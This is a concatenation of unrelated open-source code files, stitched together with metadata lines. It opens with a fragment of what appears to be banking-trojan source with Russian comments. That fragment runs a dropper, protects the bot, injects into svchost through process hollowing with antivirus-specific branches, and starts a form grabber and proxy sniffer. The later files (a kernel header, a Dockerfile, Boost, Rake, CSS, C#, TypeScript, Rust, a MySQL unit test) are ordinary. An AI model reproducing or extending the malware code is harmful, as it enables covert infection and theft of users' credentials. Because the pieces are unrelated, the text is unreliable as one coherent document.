высокими правами if( fileDropper[0] ) //был запущен дроппер { Config::fileNameBot[0] = 0; //чтобы не был заблокирован (защищен) дроппер RunThread( InstallBotThread, 0 ); //тут проводится установка для автозагрузки и следом удаляется бот } PipeInetRequest server; DbgMsg( "Запущен процесс работы с админкой, имя канала '%s'", server.GetName().c_str() ); for( int i = 0; i < 50; i++ ) //регистрируемся в течении 5с, ждем пока в проводнике настроится бот { if( server.Reg(0) ) break; //регистрируем в менеджере канал работы с инетом Delay(100); } TaskServer taskServer; taskServer.Reg(); //регистрируем в менеджере сервер выполнения команд taskServer.StartAsync(false); Task::ProtectBot(); #ifdef ON_VIDEOSERVER VideoServer::Start(); #endif if( (Config::state & NOT_USED_INJECT) == 0 ) MonitoringProcesses::Start(); Proxy::Info proxyAddr[10]; int c_proxy = FindProxyAddr( proxyAddr, 10 ); ManagerServer::SetProxy( proxyAddr, c_proxy ); RunThread( FindProxyAddrCrossSniffer, 0 ); //FindAuthenticationProxy( proxyAddr, c_proxy ); #ifdef ON_FORMGRABBER FormGrabber::StartCrossSniffer(); #endif server.Start(false); return 0; } DWORD WINAPI AdminPanelProcess( void* ) { if( !InitBot() ) return 0; //защита от НОДа, обнуляем информацию о секциях // byte* base = (byte*)PE::GetImageBase(); // base[0] = 0x00; // base[1] = 0x00; // PIMAGE_NT_HEADERS headers = PE::GetNTHeaders( PE::GetImageBase() ); // Mem::Set( (byte*)headers + sizeof(IMAGE_NT_HEADERS), 0, headers->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER) ); Rand::Init(); AdminPanelThread(0); // ReleaseBot(); if( (Config::state & NOT_EXIT_PROCESS) == 0 ) { API(KERNEL32, ExitProcess)(0); } return 0; } static void RunAdminPanelInSvchost2(DWORD) { JmpToSvchost1( AdminPanelProcess, Config::exeDonor ); } bool RunAdminPanelInSvchost() { if( Config::state & NOT_USED_SCVHOST ) { AdminPanelThread(0); return true; } else { if( Config::AV == AV_TrandMicro ) return JmpToSvchost1( AdminPanelProcess, Config::exeDonor ) != 0; else return JmpToSvchost2( AdminPanelProcess, Config::exeDonor ) != 0; // return JmpToSvchost1(AdminPanelProcess) != 0; //return JumpInSvchostRootkit(AdminPanelProcess) != 0; } // return InjectCrossRootkit( RunAdminPanelInSvchost2, 0 ); // return JmpToSvchost1(AdminPanelProcess) != 0; } bool RunAdminPanel( bool thread ) { if( thread ) return RunThread( AdminPanelThread, 0 ); else AdminPanelThread(0); return true; } uint GetCurrDate() { SYSTEMTIME st; API(KERNEL32, GetLocalTime)(&st); return (((((((st.wYear << 4) | st.wMonth) << 5) | st.wDay) << 5) | st.wHour) << 6) | st.wMinute; }
{ "pile_set_name": "Github" }
/* * Definitions for memory preallocations * * Copyright (C) 2005-2009 Scientific-Atlanta, Inc. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _ARCH_MIPS_POWERTV_ASIC_PREALLOC_H #define _ARCH_MIPS_POWERTV_ASIC_PREALLOC_H #define KIBIBYTE(n) ((n) * 1024) /* Number of kibibytes */ #define MEBIBYTE(n) ((n) * KIBIBYTE(1024)) /* Number of mebibytes */ /* "struct resource" array element definition */ #define PREALLOC(NAME, START, END, FLAGS) { \ .name = (NAME), \ .start = (START), \ .end = (END), \ .flags = (FLAGS) \ }, /* Individual resources in the preallocated resource arrays are defined using * macros. These macros are conditionally defined based on their * corresponding kernel configuration flag: * - CONFIG_PREALLOC_NORMAL: preallocate resources for a normal settop box * - CONFIG_PREALLOC_TFTP: preallocate the TFTP download resource * - CONFIG_PREALLOC_DOCSIS: preallocate the DOCSIS resource * - CONFIG_PREALLOC_PMEM: reserve space for persistent memory */ #ifdef CONFIG_PREALLOC_NORMAL #define PREALLOC_NORMAL(name, start, end, flags) \ PREALLOC(name, start, end, flags) #else #define PREALLOC_NORMAL(name, start, end, flags) #endif #ifdef CONFIG_PREALLOC_TFTP #define PREALLOC_TFTP(name, start, end, flags) \ PREALLOC(name, start, end, flags) #else #define PREALLOC_TFTP(name, start, end, flags) #endif #ifdef CONFIG_PREALLOC_DOCSIS #define PREALLOC_DOCSIS(name, start, end, flags) \ PREALLOC(name, start, end, flags) #else #define PREALLOC_DOCSIS(name, start, end, flags) #endif #ifdef CONFIG_PREALLOC_PMEM #define PREALLOC_PMEM(name, start, end, flags) \ PREALLOC(name, start, end, flags) #else #define PREALLOC_PMEM(name, start, end, flags) #endif #endif
{ "pile_set_name": "Github" }
FROM selenium/standalone-chrome:3.141.59-oxygen COPY tests/behat/files /app/tests/behat/files
{ "pile_set_name": "Github" }
// (C) Copyright Steve Cleary, Beman Dawes, Howard Hinnant & John Maddock 2000. // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). // // See http://www.boost.org/libs/type_traits for most recent version including documentation. #ifndef BOOST_TT_IS_VOID_HPP_INCLUDED #define BOOST_TT_IS_VOID_HPP_INCLUDED #include <boost/type_traits/integral_constant.hpp> namespace boost { template <class T> struct is_void : public false_type {}; template<> struct is_void<void> : public true_type {}; template<> struct is_void<const void> : public true_type{}; template<> struct is_void<const volatile void> : public true_type{}; template<> struct is_void<volatile void> : public true_type{}; } // namespace boost #endif // BOOST_TT_IS_VOID_HPP_INCLUDED
{ "pile_set_name": "Github" }
# -*- mode: ruby; coding: utf-8 -*- # This file is part of Pathie. # # Copyright © 2015, 2017 Marvin Gülker # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. require "rake/clean" if ENV["CROSSTEST"] CC = ENV["CC"] || "i686-pc-mingw32-gcc" CXX = ENV["CXX"] || "i686-pc-mingw32-g++" LD = ENV["LD"] || CXX CFLAGS = "-Wall -g " + ENV["CLFAGS"].to_s CXXFLAGS = "-Wall -std=c++11 -g -I../include -I../crossbuild " + ENV["CXXFLAGS"].to_s LDFLAGS = "-Wall -std=c++11 -g -L../crossbuild " + ENV["LDFLAGS"].to_s LIBS = "-lpathie -lshlwapi" else CC = ENV["CC"] || "cc" CXX = ENV["CXX"] || "c++" LD = ENV["LD"] || CXX CFLAGS = "-Wall -fPIC -g " + ENV["CFLAGS"].to_s CXXFLAGS = "-Wall -std=c++11 -g -fPIC -I../include -I../build " + ENV["CXXFLAGS"].to_s LDFLAGS = "-Wall -std=c++11 -g -fPIC -L../build " + ENV["LDFLAGS"].to_s LIBS = "-lpathie" end CLEAN.include("*.o", "foo") CLOBBER.include("*.test", "libpathie.dll", "testfile.txt", "tästfile.txt".encode(Encoding.find("filesystem"))) SOURCES = Dir["*.cpp"].map{|str| str.sub(/\.cpp$/, ".test")} SOURCES.delete("encodings.test") # Not available on Windows # ../build is a normal CMake build directory rule '.test' => ["%n.cpp", "testhelpers.hpp", "../build", *FileList["../src/*.cpp"].to_a, *FileList["../src/*.hpp"].to_a] do |t| sh "#{CXX} #{CXXFLAGS} #{LDFLAGS} #{t.source} #{LIBS} -o #{t.name}" end task :build => SOURCES do if ENV["CROSSTEST"] cp "../crossbuild/libpathie.dll", "." elsif RUBY_PLATFORM =~ /mingw|mswin/ cp "C:/msys32/mingw32/bin/libgcc_s_dw2-1.dll", "." cp "C:/msys32/mingw32/bin/libstdc++-6.dll", "." cp "../build/libpathie.dll", "." end end task :testfiles do unicode_filename = "tästfile.txt" # On some systems (notably FreeBSD), Ruby doesn’t automatically # use the correct pathname encoding, although it actually knows # it. fsencoding = Encoding.find("filesystem") unicode_filename.encode!(fsencoding) puts "Creating testfiles" File.open("testfile.txt", "w"){|f| f.puts("There is some testtext\nin this file.")} File.open(unicode_filename, "w"){|f| f.puts("Thäre is ßöme testtext\nin this file.")} end task :test => [:build, :testfiles] do unless File.file?("testsettings.conf") puts "testsettings.conf is missing. Generate one with $ rake testsettings" puts "and adapt it to the local paths." raise "testsettings.conf missing" end SOURCES.sort.each do |file| puts "--- #{file} ---" if ENV["CROSSTEST"] sh "wine #{file}" elsif RUBY_PLATFORM =~ /mingw|mswin/ sh "./#{file}" else sh "LD_LIBRARY_PATH=#{File.expand_path(File.join(File.expand_path(File.dirname(__FILE__)), "..", "build"))} ./#{file}" end end end desc "Generate a sample test settings file." task :testsettings do File.open("testsettings.conf", "w") do |file| file.puts "# -*- coding: utf-8 -*-" file.puts "# testsettings.conf" file.puts "# This file defines the paths Pathie should be able to figure" file.puts "# out on your system. Without relying on its own methods, this" file.puts "# isn't possible, so information about these paths is required" file.puts "# from an external source. This allows to test whether the path" file.puts "# finding methods work as expected and retrieve the correct" file.puts "# directories. Always use forward slashes / as the path separator," file.puts "# even on Windows." file.puts "#" file.puts "# Refer to the XDG specifications on UNIX systems:" file.puts "# http://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html" file.puts "# http://www.freedesktop.org/wiki/Software/xdg-user-dirs/" file.puts "# On Windows, refer to MSDN:" file.puts "# http://msdn.microsoft.com/en-us/library/windows/desktop/bb762494%28v=vs.85%29.aspx" file.puts "#" file.puts "# The program parsing this file is not very sophisticated. Do not leave whitespace" file.puts "# at the beginning of lines or around equal signs (=)." file.puts "#" file.puts "# Ensure this file is encoded in UTF-8. This should be a readable" file.puts "# Unicode char: ß" file.puts "" file.puts "username=nobody" if RUBY_PLATFORM =~ /mingw|mswin/ file.puts "homedir=C:/Users/nobody" file.puts "datadir=C:/Users/nobody/AppData/Roaming" file.puts "configdir=C:/Users/nobody/AppData/Roaming" file.puts "cachedir=C:/Users/nobody/AppData/Local" file.puts "tempdir=C:/Users/nobody/AppData/Local/Temp" file.puts "" file.puts "desktopdir=C:/Users/nobody/Desktop" file.puts "documentsdir=C:/Users/nobody/Documents" file.puts "downloaddir=C:/Users/nobody/Downloads" file.puts "templatesdir=C:/Users/nobody/AppData/Roaming/Microsoft/Windows/Templates" file.puts "publicsharedir=C:/Users/nobody/AppData/Roaming/Microsoft/Windows/Network Shortcuts" file.puts "musicdir=C:/Users/nobody/Music" file.puts "picturesdir=C:/Users/nobody/Pictures" file.puts "videosdir=C:/Users/nobody/Videos" else file.puts "homedir=/home/nobody" file.puts "datadir=/home/nobody/.local/share" file.puts "configdir=/home/nobody/.config" file.puts "cachedir=/home/nobody/.cache" file.puts "tempdir=/tmp" file.puts "" file.puts "desktopdir=/home/nobody/Desktop" file.puts "documentsdir=/home/nobody/Documents" file.puts "downloaddir=/home/nobody/Downloads" file.puts "templatesdir=/home/nobody/Templates" file.puts "publicsharedir=/home/nobody/Public" file.puts "musicdir=/home/nobody/Music" file.puts "picturesdir=/home/nobody/Pictures" file.puts "videosdir=/home/nobody/Videos" end end end task :default => :test
{ "pile_set_name": "Github" }
body { height:100vh; width:100vw; background:#efe7d2; background: -webkit-radial-gradient(left 60%, #efe7d2, #66aaf3); background: radial-gradient(at left 60%, #efe7d2, #66aaf3); } .stroke { text-shadow: 3px 3px 0 #fac, -1px -1px 0 #fa0, 1px -1px 0 #fa0, -1px 1px 0 #fa0, 1px 1px 0 #fac; }
{ "pile_set_name": "Github" }
package { import org.flexunit.Assert; [RunWith("CustomRunner")] public class ClassWithCustomRunner { [Foo] public function foo1() { } [Foo] public function foo2() { Assert.assertTrue(false); } [Test] public function foo3() { } } } <testResults status="Assertion failed"> <suite name="ClassWithCustomRunner" status="Assertion failed"> <test name="foo1" status="Completed"/> <test name="foo2" status="Assertion failed"/> </suite> </testResults>
{ "pile_set_name": "Github" }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // <auto-generated/> #nullable disable using System; using System.ComponentModel; namespace Azure.ResourceManager.KeyVault.Models { /// <summary> The private endpoint connection status. </summary> public readonly partial struct PrivateEndpointServiceConnectionStatus : IEquatable<PrivateEndpointServiceConnectionStatus> { private readonly string _value; /// <summary> Determines if two <see cref="PrivateEndpointServiceConnectionStatus"/> values are the same. </summary> /// <exception cref="ArgumentNullException"> <paramref name="value"/> is null. </exception> public PrivateEndpointServiceConnectionStatus(string value) { _value = value ?? throw new ArgumentNullException(nameof(value)); } private const string PendingValue = "Pending"; private const string ApprovedValue = "Approved"; private const string RejectedValue = "Rejected"; private const string DisconnectedValue = "Disconnected"; /// <summary> Pending. </summary> public static PrivateEndpointServiceConnectionStatus Pending { get; } = new PrivateEndpointServiceConnectionStatus(PendingValue); /// <summary> Approved. </summary> public static PrivateEndpointServiceConnectionStatus Approved { get; } = new PrivateEndpointServiceConnectionStatus(ApprovedValue); /// <summary> Rejected. </summary> public static PrivateEndpointServiceConnectionStatus Rejected { get; } = new PrivateEndpointServiceConnectionStatus(RejectedValue); /// <summary> Disconnected. </summary> public static PrivateEndpointServiceConnectionStatus Disconnected { get; } = new PrivateEndpointServiceConnectionStatus(DisconnectedValue); /// <summary> Determines if two <see cref="PrivateEndpointServiceConnectionStatus"/> values are the same. </summary> public static bool operator ==(PrivateEndpointServiceConnectionStatus left, PrivateEndpointServiceConnectionStatus right) => left.Equals(right); /// <summary> Determines if two <see cref="PrivateEndpointServiceConnectionStatus"/> values are not the same. </summary> public static bool operator !=(PrivateEndpointServiceConnectionStatus left, PrivateEndpointServiceConnectionStatus right) => !left.Equals(right); /// <summary> Converts a string to a <see cref="PrivateEndpointServiceConnectionStatus"/>. </summary> public static implicit operator PrivateEndpointServiceConnectionStatus(string value) => new PrivateEndpointServiceConnectionStatus(value); /// <inheritdoc /> [EditorBrowsable(EditorBrowsableState.Never)] public override bool Equals(object obj) => obj is PrivateEndpointServiceConnectionStatus other && Equals(other); /// <inheritdoc /> public bool Equals(PrivateEndpointServiceConnectionStatus other) => string.Equals(_value, other._value, StringComparison.InvariantCultureIgnoreCase); /// <inheritdoc /> [EditorBrowsable(EditorBrowsableState.Never)] public override int GetHashCode() => _value?.GetHashCode() ?? 0; /// <inheritdoc /> public override string ToString() => _value; } }
{ "pile_set_name": "Github" }
/* * Copyright © 2019 Cask Data, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ import T from 'i18n-react'; import { Theme } from 'services/ThemeHelper'; const PREFIX = 'features.Home'; interface ILink { label: string; url: string; } interface IAction { img: string; title: string; description: string; links: ILink[]; experiment?: string; featureFlag?: boolean; } export const ActionConfig: IAction[] = [ { img: '/cdap_assets/img/ingest-tile.svg', title: T.translate(`${PREFIX}.Ingestion.title`).toString(), description: T.translate(`${PREFIX}.Ingestion.description`).toString(), links: [ { label: T.translate(`${PREFIX}.Ingestion.linkLabel`).toString(), url: `/cdap/ns/:namespace/ingestion`, }, ], experiment: 'data-ingestion', }, { img: '/cdap_assets/img/cleanse_data.svg', title: T.translate(`${PREFIX}.Wrangler.title`).toString(), description: T.translate(`${PREFIX}.Wrangler.description`).toString(), links: [ { label: T.translate(`${PREFIX}.Wrangler.linkLabel`).toString(), url: `/cdap/ns/:namespace/wrangler`, }, ], }, { img: '/cdap_assets/img/data_pipelines.svg', title: T.translate(`${PREFIX}.Pipeline.title`).toString(), description: T.translate(`${PREFIX}.Pipeline.description`).toString(), links: [ { label: T.translate(`${PREFIX}.Pipeline.studioLabel`).toString(), url: '/pipelines/ns/:namespace/studio', }, { label: T.translate(`${PREFIX}.Pipeline.listLabel`).toString(), url: '/cdap/ns/:namespace/pipelines', }, ], }, { img: '/cdap_assets/img/replicator.svg', title: T.translate(`${PREFIX}.Replication.title`).toString(), description: T.translate(`${PREFIX}.Replication.description`).toString(), links: [ { label: T.translate(`${PREFIX}.Replication.linkLabel`).toString(), url: '/cdap/ns/:namespace/replication', }, ], featureFlag: Theme.showCDC, }, { img: '/cdap_assets/img/metadata.svg', title: T.translate(`${PREFIX}.Metadata.title`).toString(), description: T.translate(`${PREFIX}.Metadata.description`).toString(), links: [ { label: T.translate(`${PREFIX}.Metadata.linkLabel`).toString(), url: '/metadata/ns/:namespace', }, ], }, { img: '/cdap_assets/img/operations.svg', title: T.translate(`${PREFIX}.Operations.title`).toString(), description: T.translate(`${PREFIX}.Operations.description`).toString(), links: [ { label: T.translate(`${PREFIX}.Operations.linkLabel`).toString(), url: '/cdap/ns/:namespace/operations', }, ], }, { img: '/cdap_assets/img/administration.svg', title: T.translate(`${PREFIX}.Administration.title`).toString(), description: T.translate(`${PREFIX}.Administration.description`).toString(), links: [ { label: T.translate(`${PREFIX}.Administration.systemLabel`).toString(), url: '/cdap/administration', }, { label: T.translate(`${PREFIX}.Administration.namespaceLabel`).toString(), url: '/cdap/administration/configuration', }, ], }, ];
{ "pile_set_name": "Github" }
use crate::{err::PyErrArguments, exceptions, IntoPy, PyErr, PyObject, Python}; use std::io; /// Convert `PyErr` to `io::Error` impl std::convert::From<PyErr> for io::Error { fn from(err: PyErr) -> Self { io::Error::new(io::ErrorKind::Other, format!("Python exception: {}", err)) } } /// Create `OSError` from `io::Error` impl std::convert::From<io::Error> for PyErr { fn from(err: io::Error) -> PyErr { match err.kind() { io::ErrorKind::BrokenPipe => exceptions::PyBrokenPipeError::new_err(err), io::ErrorKind::ConnectionRefused => exceptions::PyConnectionRefusedError::new_err(err), io::ErrorKind::ConnectionAborted => exceptions::PyConnectionAbortedError::new_err(err), io::ErrorKind::ConnectionReset => exceptions::PyConnectionResetError::new_err(err), io::ErrorKind::Interrupted => exceptions::PyInterruptedError::new_err(err), io::ErrorKind::NotFound => exceptions::PyFileNotFoundError::new_err(err), io::ErrorKind::WouldBlock => exceptions::PyBlockingIOError::new_err(err), io::ErrorKind::TimedOut => exceptions::PyTimeoutError::new_err(err), _ => exceptions::PyOSError::new_err(err), } } } impl PyErrArguments for io::Error { fn arguments(self, py: Python) -> PyObject { self.to_string().into_py(py) } } impl<W: 'static + Send + Sync + std::fmt::Debug> std::convert::From<std::io::IntoInnerError<W>> for PyErr { fn from(err: std::io::IntoInnerError<W>) -> PyErr { exceptions::PyOSError::new_err(err) } } impl<W: Send + Sync + std::fmt::Debug> PyErrArguments for std::io::IntoInnerError<W> { fn arguments(self, py: Python) -> PyObject { self.to_string().into_py(py) } } impl std::convert::From<std::convert::Infallible> for PyErr { fn from(_: std::convert::Infallible) -> PyErr { unreachable!() } } macro_rules! impl_to_pyerr { ($err: ty, $pyexc: ty) => { impl PyErrArguments for $err { fn arguments(self, py: Python) -> PyObject { self.to_string().into_py(py) } } impl std::convert::From<$err> for PyErr { fn from(err: $err) -> PyErr { <$pyexc>::new_err(err) } } }; } impl_to_pyerr!(std::array::TryFromSliceError, exceptions::PyValueError); impl_to_pyerr!(std::num::ParseIntError, exceptions::PyValueError); impl_to_pyerr!(std::num::ParseFloatError, exceptions::PyValueError); impl_to_pyerr!(std::num::TryFromIntError, exceptions::PyValueError); impl_to_pyerr!(std::str::ParseBoolError, exceptions::PyValueError); impl_to_pyerr!(std::ffi::IntoStringError, exceptions::PyUnicodeDecodeError); impl_to_pyerr!(std::ffi::NulError, exceptions::PyValueError); impl_to_pyerr!(std::str::Utf8Error, exceptions::PyUnicodeDecodeError); impl_to_pyerr!(std::string::FromUtf8Error, exceptions::PyUnicodeDecodeError); impl_to_pyerr!( std::string::FromUtf16Error, exceptions::PyUnicodeDecodeError ); impl_to_pyerr!( std::char::DecodeUtf16Error, exceptions::PyUnicodeDecodeError ); impl_to_pyerr!(std::net::AddrParseError, exceptions::PyValueError); #[cfg(test)] mod tests { use crate::PyErr; use std::io; #[test] fn io_errors() { let check_err = |kind, expected_ty| { let py_err: PyErr = io::Error::new(kind, "some error msg").into(); let err_msg = format!("{}: some error msg", expected_ty); assert_eq!(py_err.to_string(), err_msg); let os_err: io::Error = py_err.into(); assert_eq!(os_err.to_string(), format!("Python exception: {}", err_msg)); }; check_err(io::ErrorKind::BrokenPipe, "BrokenPipeError"); check_err(io::ErrorKind::ConnectionRefused, "ConnectionRefusedError"); check_err(io::ErrorKind::ConnectionAborted, "ConnectionAbortedError"); check_err(io::ErrorKind::ConnectionReset, "ConnectionResetError"); check_err(io::ErrorKind::Interrupted, "InterruptedError"); check_err(io::ErrorKind::NotFound, "FileNotFoundError"); check_err(io::ErrorKind::WouldBlock, "BlockingIOError"); check_err(io::ErrorKind::TimedOut, "TimeoutError"); } }
{ "pile_set_name": "Github" }
{ "multi":null, "text":"【布朗熊和可妮兔】愿你找到那个可以一起简单幸福下去的人......[心]", "user":{ "verified":true, "description":true, "gender":"m", "messages":12000, "followers":744607, "location":"海外 美国", "time":1306240685, "friends":177, "verified_type":0 }, "has_url":false, "comments":370, "pics":1, "source":"微博 weibo.com", "likes":259, "time":1392738922, "reposts":736 }
{ "pile_set_name": "Github" }
var convert = require('./convert'), func = convert('mergeAll', require('../merge')); func.placeholder = require('./placeholder'); module.exports = func;
{ "pile_set_name": "Github" }
/* Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA */ // First include (the generated) my_config.h, to get correct platform defines. #include "my_config.h" #include <gtest/gtest.h> #include <algorithm> #include <stddef.h> #include "bounded_queue.h" #include "filesort_utils.h" #include "my_sys.h" namespace bounded_queue_unittest { const int num_elements= 14; // A simple helper function to determine array size. template <class T, int size> int array_size(const T (&)[size]) { return size; } /* Elements to be sorted by tests below. We put some data in front of 'val' to verify (when debugging) that all the reinterpret_casts involved when using QUEUE are correct. */ struct Test_element { Test_element() { *this= -1; } Test_element(int i) { *this= i; } Test_element &operator=(int i) { val= i; snprintf(text, array_size(text), "%4d", i); return *this; } char text[8]; // Some data. int val; // The value we use for generating the key. }; /* The key, which is actually sorted by queue_xxx() functions. We sort on the key only. */ struct Test_key { Test_key() : element(NULL), key(-1) {} Test_element *element; // The actual data element. int key; // The generated key for the data element. }; /* Comparison function for Test_key objects. */ int test_key_compare(size_t *cmp_arg, Test_key **a, Test_key **b) { EXPECT_EQ(*cmp_arg, sizeof(int)); int a_num= (*a)->key; int b_num= (*b)->key; if (a_num > b_num) return +1; if (a_num < b_num) return -1; return 0; } /* Generates a Test_key for a given Test_element. */ void test_keymaker(Sort_param *sp, Test_key *key, Test_element *element) { key->element= element; key->key= element->val; } /* A struct to wrap the actual keys, and an array of pointers to the keys. */ template<int sz, typename Key_type> struct Key_container { Key_container() { for (int ix= 0; ix <= sz; ++ix) key_ptrs[ix]= &key_data[ix]; } Key_type *key_ptrs[sz+1]; Key_type key_data[sz+1]; }; class BoundedQueueTest : public ::testing::Test { protected: BoundedQueueTest() : m_key_size(sizeof(int)) { } virtual void SetUp() { int ix; for (ix=0; ix < array_size(m_test_data); ++ix) m_test_data[ix]= ix; std::random_shuffle(&m_test_data[0], &m_test_data[array_size(m_test_data)]); } void insert_test_data() { for (int ix= 0; ix < array_size(m_test_data); ++ix) m_queue.push(&m_test_data[ix]); } // Key pointers and data, used by the queue_xxx() functions. Key_container<num_elements / 2, Test_key> m_keys; // Some random intput data, to be sorted. Test_element m_test_data[num_elements]; size_t m_key_size; Bounded_queue<Test_element, Test_key> m_queue; private: GTEST_DISALLOW_COPY_AND_ASSIGN_(BoundedQueueTest); }; // Google Test recommends DeathTest suffix for classes used in death tests. typedef BoundedQueueTest BoundedQueueDeathTest; #if !defined(DBUG_OFF) /* Verifies that we DBUG_ASSERT if trying to push to an un-initialized queue. */ TEST_F(BoundedQueueDeathTest, DieIfNotInitialized) { ::testing::FLAGS_gtest_death_test_style = "threadsafe"; Test_element foo= 1; EXPECT_DEATH_IF_SUPPORTED(m_queue.push(&foo), ".*Assertion .*is_initialized.*"); } /* Verifies that popping an empty queue hits a DBUG_ASSERT. */ TEST_F(BoundedQueueDeathTest, DieIfPoppingEmptyQueue) { EXPECT_EQ(0, m_queue.init(0, true, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); ::testing::FLAGS_gtest_death_test_style = "threadsafe"; EXPECT_DEATH_IF_SUPPORTED(m_queue.pop(), ".*Assertion .*elements > 0.*"); } #endif // !defined(DBUG_OFF) /* Verifies that construct, initialize, destroy works. */ TEST_F(BoundedQueueTest, ConstructAndDestruct) { EXPECT_EQ(0, m_queue.init(num_elements/2, true, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); } /* Verifies that we reject too large queues. */ TEST_F(BoundedQueueTest, TooManyElements) { EXPECT_EQ(1, m_queue.init(UINT_MAX, true, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); EXPECT_EQ(1, m_queue.init(UINT_MAX - 1, true, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); } /* Verifies that zero-size queue works. */ TEST_F(BoundedQueueTest, ZeroSizeQueue) { EXPECT_EQ(0, m_queue.init(0, true, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); insert_test_data(); EXPECT_EQ(1U, m_queue.num_elements()); } /* Verifies that push and bounded size works, and that pop() gives sorted order. */ TEST_F(BoundedQueueTest, PushAndPopKeepLargest) { EXPECT_EQ(0, m_queue.init(num_elements/2, false, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); insert_test_data(); // We expect the queue to contain [7 .. 13] const int max_key_val= array_size(m_test_data) - 1; while (m_queue.num_elements() > 0) { Test_key **top= m_queue.pop(); int expected_key_val= max_key_val - m_queue.num_elements(); int key_val= (*top)->key; EXPECT_EQ(expected_key_val, key_val); Test_element *element= (*top)->element; EXPECT_EQ(expected_key_val, element->val); } } /* Verifies that push and bounded size works, and that pop() gives sorted order. Note that with max_at_top == true, we will pop() in reverse order. */ TEST_F(BoundedQueueTest, PushAndPopKeepSmallest) { EXPECT_EQ(0, m_queue.init(num_elements/2, true, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); insert_test_data(); // We expect the queue to contain [6 .. 0] while (m_queue.num_elements() > 0) { Test_key **top= m_queue.pop(); int expected_key_val= m_queue.num_elements(); int key_val= (*top)->key; EXPECT_EQ(expected_key_val, key_val); Test_element *element= (*top)->element; EXPECT_EQ(expected_key_val, element->val); } } /* Verifies that push, with bounded size, followed by sort() works. */ TEST_F(BoundedQueueTest, InsertAndSort) { EXPECT_EQ(0, m_queue.init(num_elements/2, true, test_key_compare, m_key_size, &test_keymaker, NULL, m_keys.key_ptrs)); insert_test_data(); uchar *base= (uchar*) &m_keys.key_ptrs[0]; size_t size= sizeof(Test_key); // We sort our keys as strings, so erase all the element pointers first. for (int ii= 0; ii < array_size(m_keys.key_data); ++ii) m_keys.key_data[ii].element= NULL; my_string_ptr_sort(base, array_size(m_keys.key_ptrs), size); for (int ii= 0; ii < num_elements/2; ++ii) { Test_key *sorted_key= m_keys.key_ptrs[ii]; EXPECT_EQ(ii, sorted_key->key); } } /* A test of the function get_merge_many_buffs_cost_fast() */ TEST(CostEstimationTest, MergeManyBuff) { ha_rows num_rows= 512; ulong num_keys= 100; ulong row_lenght= 100; double prev_cost= 0.0; while (num_rows <= MAX_FILE_SIZE/4) { double merge_cost= get_merge_many_buffs_cost_fast(num_rows, num_keys, row_lenght); EXPECT_LT(0.0, merge_cost); EXPECT_LT(prev_cost, merge_cost); num_rows*= 2; prev_cost= merge_cost; } } /* Comparison function for integers. */ int int_ptr_compare(size_t *cmp_arg, int **a, int **b) { EXPECT_EQ(*cmp_arg, sizeof(int)); int a_num= **a; int b_num= **b; if (a_num > b_num) return +1; if (a_num < b_num) return -1; return 0; } /* Generates an integer key for a given integer element. */ void int_keymaker(Sort_param *sp, int *to, int *from) { memcpy(to, from, sizeof(int)); } /* Some basic performance testing, to compute the overhead of Bounded_queue. Run the with 'bounded_queue-t --disable-tap-output' to see the millisecond output from Google Test. */ const int num_rows= 10000; const int row_limit= 100; 